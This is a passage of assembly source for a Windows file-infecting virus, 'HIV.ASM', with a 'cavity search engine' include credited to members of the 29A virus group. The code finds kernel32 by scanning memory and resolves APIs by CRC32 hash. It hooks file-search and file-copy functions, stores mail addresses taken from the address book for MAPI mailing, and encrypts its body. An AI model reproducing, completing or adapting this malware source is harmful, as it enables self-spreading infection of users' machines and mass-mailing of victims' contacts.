' gcount: db '0000000000',0 szMsg: push 0 call ecx ;show lame message :) freelib:push esi call edi ;unload USER32.DLL end_msi:popad mov eax,offset ExitProcess msi_entrypoint = dword ptr $-4 jmp eax ;and quit to host ;this procedure can get base address of K32 get_base Proc push ebp ;store EBP call gdlt ;get delta offset gdlt: pop ebp ;to EBP mov eax,12345678h ;get lastly used address last_kern = dword ptr $-4 call check_kern ;is this address valid? jecxz end_gb ;yeah, we got the address call gb_table ;jump over the address table dd 077E00000h ;NT/W2k dd 077E80000h ;NT/W2k dd 077ED0000h ;NT/W2k dd 077F00000h ;NT/W2k dd 0BFF70000h ;95/98 gb_table: pop edi ;get pointer to address table push 4 ;get number of items in the table pop esi ;to ESI gbloop: mov eax,[edi+esi*4] ;get item call check_kern ;is address valid? jecxz end_gb ;yeah, we got the valid address dec esi ;decrement ESI test esi,esi ;end of table? jne gbloop ;nope, try next item call scan_kern ;scan the address space for K32 end_gb: pop ebp ;restore EBP ret ;quit check_kern: ;check if K32 address is valid mov ecx,eax ;make ECX != 0 pushad ;store all registers @SEH_SetupFrame ;setup SEH frame movzx edx,word ptr [eax] ;get two bytes add edx,-"ZM" ;is it MZ header? jne end_ck ;nope mov ebx,[eax.MZ_lfanew] ;get pointer to PE header add ebx,eax ;normalize it mov ebx,[ebx] ;get four bytes add ebx,-"EP" ;is it PE header? jne end_ck ;nope xor ecx,ecx ;we got K32 base address mov [ebp + last_kern - gdlt],eax ;save K32 base address end_ck: @SEH_RemoveFrame ;remove SEH frame mov [esp.Pushad_ecx],ecx ;save ECX popad ;restore all registers ret ;if ECX == 0, address was found SEH_hndlr macro ;macro for SEH @SEH_RemoveFrame ;remove SEH frame popad ;restore all registers add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page jmp bck ;continue execution endm scan_kern: ;scan address space for K32 bck: pushad ;store all registers @SEH_SetupFrame ;setup SEH frame mov eax,077000000h ;starting/last address bAddr = dword ptr $-4 movzx edx,word ptr [eax] ;get two bytes add edx,-"ZM" ;is it MZ header? jne pg_flt ;nope mov edi,[eax.MZ_lfanew] ;get pointer to PE header add edi,eax ;normalize it mov ebx,[edi] ;get four bytes add ebx,-"EP" ;is it PE header? jne pg_flt ;nope mov ebx,eax mov esi,eax add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] add esi,[ebx.ED_Name] mov esi,[esi] add esi,-'NREK' je end_sk pg_flt: xor ecx,ecx ;we got K32 base address mov [ecx],esi ;generate PAGE FAULT! search again... end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address @SEH_RemoveFrame ;remove SEH frame mov [esp.Pushad_eax],eax ;save EAX - K32 base popad ;restore all registers ret get_base EndP ;this procedure can retrieve address of given API get_api Proc pushad ;store all registers @SEH_SetupFrame ;setup SEH frame mov edi,[eax.MZ_lfanew] ;move to PE header add edi,eax ;... mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size] jecxz end_gpa ;quit if no exports mov ebx,eax add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] mov edx,eax ;get address of export table add edx,[ebx.ED_AddressOfNames] ;address of API names mov ecx,[ebx.ED_NumberOfNames] ;number of API names mov edi,edx push dword ptr [esi] ;save CRC32 to stack mov ebp,eax xor eax,eax APIname:push eax mov esi,ebp ;get base add esi,[edx+eax*4] ;move to API name push esi ;save address @endsz ;go to the end of string sub esi,[esp] ;get string size mov edi,esi ;move it to EDI pop esi ;restore address of API name call CRC32 ;calculate CRC32 of API name cmp eax,[esp+4] ;is it right API? pop eax je g_name ;yeah, we got it inc eax ;increment counter loop APIname ;and search for next API name pop eax end_gpa:xor eax, eax ;set flag ok_gpa: @SEH_RemoveFrame ;remove SEH frame mov [esp.Pushad_eax],eax ;save value to stack popad ;restore all registers ret ;quit from procedure g_name: pop edx mov edx,ebp add edx,[ebx.ED_AddressOfOrdinals] movzx eax,word ptr [edx+eax*2] cmp eax,[ebx.ED_NumberOfFunctions] jae end_gpa-1 mov edx,ebp ;base of K32 add edx,[ebx.ED_AddressOfFunctions] ;address of API functions add ebp,[edx+eax*4] ;get API function address xchg eax,ebp ;we got address of API in EAX jmp ok_gpa ;quit get_api EndP CRC32: push ecx ;procedure for calculating CRC32s push edx ;at run-time push ebx xor ecx,ecx dec ecx mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jne NextByteCRC not edx not ecx pop ebx mov eax,edx rol eax,16 mov ax,cx pop edx pop ecx ret msi_end: msi_start EndP ;CRC32s of APIz crc32s: dd 0DCF6E06Ch ;GetEnvironmentVariableA dd 033D350C4h ;OpenProcess dd 068624A9Dh ;CloseHandle dd 019F33607h ;CreateThread dd 079C3D4BBh ;VirtualProtect dd 0FFC97C1Fh ;GetProcAddress dd 04A27089Fh ;ReadProcessMemory dd 00E9BBAD5h ;WriteProcessMemory dd 056E1B657h ;VirtualProtectEx dd 0D4AFA114h ;VirtualQueryEx dd 04402890Eh ;VirtualAlloc dd 02AAD1211h ;VirtualFree dd 0DA89FC22h ;VirtualAllocEx dd 03C19E536h ;SetFileAttributesA dd 08C892DDFh ;CreateFileA dd 096B2D96Ch ;CreateFileMappingA dd 0797B49ECh ;MapViewOfFile dd 094524B42h ;UnmapViewOfFile dd 085859D42h ;SetFilePointer dd 059994ED6h ;SetEndOfFile dd 04B2A3E7Dh ;SetFileTime dd 0CC09D51Eh ;DeviceIoControl dd 0AE17EBEFh ;FindFirstFileA dd 0AA700106h ;FindNextFileA dd 0C200BE21h ;FindClose dd 04134D1ADh ;LoadLibraryA dd 0AFDF191Fh ;FreeLibrary dd 021777793h ;WriteFile dd 0DE256FDEh ;DeleteFileA dd 004DCF392h ;GetModuleFileNameA dd 082B618D4h ;GetModuleHandleA dd 052E3BEB1h ;IsDebuggerPresent dd 0EF7D811Bh ;GetFileSize dd 054D8615Ah ;ReadFile crc32c = ($-crc32s)/4 ;number of APIz ;CRC32s of APIz for hooking crcRes: dd 0AE17EBEFh ;FindFirstFileA dd 0AA700106h ;FindNextFileA dd 05BD05DB1h ;CopyFileA dd 02308923Fh ;MoveFileA dd 08C892DDFh ;CreateFileA crcResCount = ($-crcRes)/4 ;pointerz to pointerz to APIz in memory posRes: dd offset posFindFirstFileA dd offset posFindNextFileA dd offset posCopyFileA dd offset posMoveFileA dd offset posCreateFileA ;pointerz to API hookerz newRes: dd offset newFindFirstFileA-Start dd offset newFindNextFileA-Start dd offset newCopyFileA-Start dd offset newMoveFileA-Start dd offset newCreateFileA-Start ;pointerz to memory where will be saved 5 original bytes of APIz oldRes: dd offset oldFindFirstFileA dd offset oldFindNextFileA dd offset oldCopyFileA dd offset oldMoveFileA dd offset oldCreateFileA db 11h end_virus: ;end of virus in file dec_buff db 10 dup (?) align 4 a_apis: ;addresses of APIs a_GetEnvironmentVariableA dd ? a_OpenProcess dd ? a_CloseHandle dd ? a_CreateThread dd ? a_VirtualProtect dd ? a_GetProcAddress dd ? a_ReadProcessMemory dd ? a_WriteProcessMemory dd ? a_VirtualProtectEx dd ? a_VirtualQueryEx dd ? a_VirtualAlloc dd ? a_VirtualFree dd ? a_VirtualAllocEx dd ? a_SetFileAttributesA dd ? a_CreateFileA dd ? a_CreateFileMappingA dd ? a_MapViewOfFile dd ? a_UnmapViewOfFile dd ? a_SetFilePointer dd ? a_SetEndOfFile dd ? a_SetFileTime dd ? a_DeviceIoControl dd ? a_FindFirstFileA dd ? a_FindNextFileA dd ? a_FindClose dd ? a_LoadLibraryA dd ? a_FreeLibrary dd ? a_WriteFile dd ? a_DeleteFileA dd ? a_GetModuleFileNameA dd ? a_GetModuleHandleA dd ? a_IsDebuggerPresent dd ? a_GetFileSize dd ? a_ReadFile dd ? WFD WIN32_FIND_DATA ? ;WIN32_FIND_DATA structure mbi: dd ? ;MEMORY_BASIC_INFORMATION dd ? ;structure needed by dd ? ;VirtualQueryEx API reg_size dd ? ;number of pages with same rights*size of one page reg_state dd ? ;state of page(s) dd ? dd ? mbi_size = dword ptr $-mbi reg_buffer db MAX_PATH dup (?);some bufferz with multiply wab_buffer db MAX_PATH dup (?);usage MAPIMessage dd 12 dup (?) ;MAPI message MsgFrom dd 6 dup (?) ;Sender structure MsgTo dd 5*6 dup (?) ;Recipient structure MAPIFileDesc dd 6 dup (?) ;Attachment structure mails db 22h*5 dup (?) ;space for 5 mail addresses ;extracted from address book virtual_end: ;end of virus in memory .code ;first generation code FirstGeneration: pushad ;encrypt virus body mov esi,offset encrypted mov edi,esi mov ecx,(end_virus-encrypted+3)/4 encrypt:lodsd xor eax,12345678h ;encrypt virus stosd loop encrypt popad enter 0,0 ;prolog of procedure push ebx push esi push edi E_EPO: jmp Start ;jump to virus code ;(will be overwritten by ;procedure's epilog) ;size of virus raw data db 0dh,0ah,'Virus size in file: ' db '0'+((end_virus-Start)/1000) mod 10 db '0'+((end_virus-Start)/100) mod 10 db '0'+((end_virus-Start)/10) mod 10 db '0'+((end_virus-Start)/1) mod 10 ;virtual size of virus db 0dh,0ah,'Virus size in memory: ' db '0'+((virtual_end-Start)/1000) mod 10 db '0'+((virtual_end-Start)/100) mod 10 db '0'+((virtual_end-Start)/10) mod 10 db '0'+((virtual_end-Start)/1) mod 10 db 0dh,0ah ends ;end of first generation code End FirstGeneration ;end of everything :) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HIV.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CSE.INC]ÄÄÄ ;----------------------------------------------------------------------------- ; Cavity search engine Benny and Darkman of 29A ; ; Calling parameters: ; ECX = size of search area ; ESI = pointer to search area ; ; Return parameters: ; ESI = pointer to cave ; ; Changed registers: ; EAX, EBX, ECX, EDX, ESI CSE: pushad lodsb ; AL = byte within search area reset_cavity_loop: xchg eax,ebx ; BL = " " " " xor edx,edx ; Zero EDX dec ecx ; Decrease counter jecxz no_cave_found ; Zero ECX? Jump to no_cave_found find_cave_loop: lodsb ; AL = byte within search area cmp al,bl ; Current byte equal to previous byte? jne reset_cavity_loop ; Not equal? Jump to reset_cavity_loop inc edx ; Increase number of bytes found in ; cave cmp edx,msi_end-msi_start ; Found a cave large enough? jne find_cave_loop ; Not equal? Jump to find_cave_loop sub esi,msi_end-msi_start ; ESI = pointer to cave mov [esp.Pushad_esi],esi popad ;----------------------------------------------------------------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CSE.INC]ÄÄÄ